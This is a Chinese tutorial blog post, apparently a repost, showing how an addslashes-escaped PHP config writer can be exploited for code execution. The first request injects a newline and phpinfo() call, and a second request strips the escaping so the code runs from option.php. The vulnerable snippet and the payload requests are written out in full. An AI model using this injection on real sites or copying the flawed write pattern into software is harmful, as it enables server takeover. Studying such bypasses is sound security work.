标签：文件 getshell option addslashes 写入 asd php 函数
绕过addslashes并写入文件配置getshell
写入配置getshell与addslashes绕过：
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>
对option变量进行了addslashes函数的限制，但是后面使用了file_get_contents函数打开文件，中间使用preg_replace将里面原$option=\'xxx\'的内容替换成$option=\‘xxx\’，最后用file_put_contents函数进行写入。
addslashes函数
版本：php4+
这个函数是对目前字符串中的单引号，双引号，反斜杠，null这四种情况进行转义，转义方式是在原符号之前加上反斜杠
利用
访问?option=asd’;%0aphpinfo();//
$str = asd\’;%0aphpinfo();//
经过替换写入后文件为
<?php
$option='asd\';
phpinfo();//;
?>
在访问一次?option=asd
$str = asd
经过再次替换后文件为
<?php
$option='asd';
phpinfo();//;
?>
最后访问asd/option.php就可以执行了。
标签：文件,getshell,option,addslashes,写入,asd,php,函数 来源： https://blog.csdn.net/awanawan/article/details/101026548
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。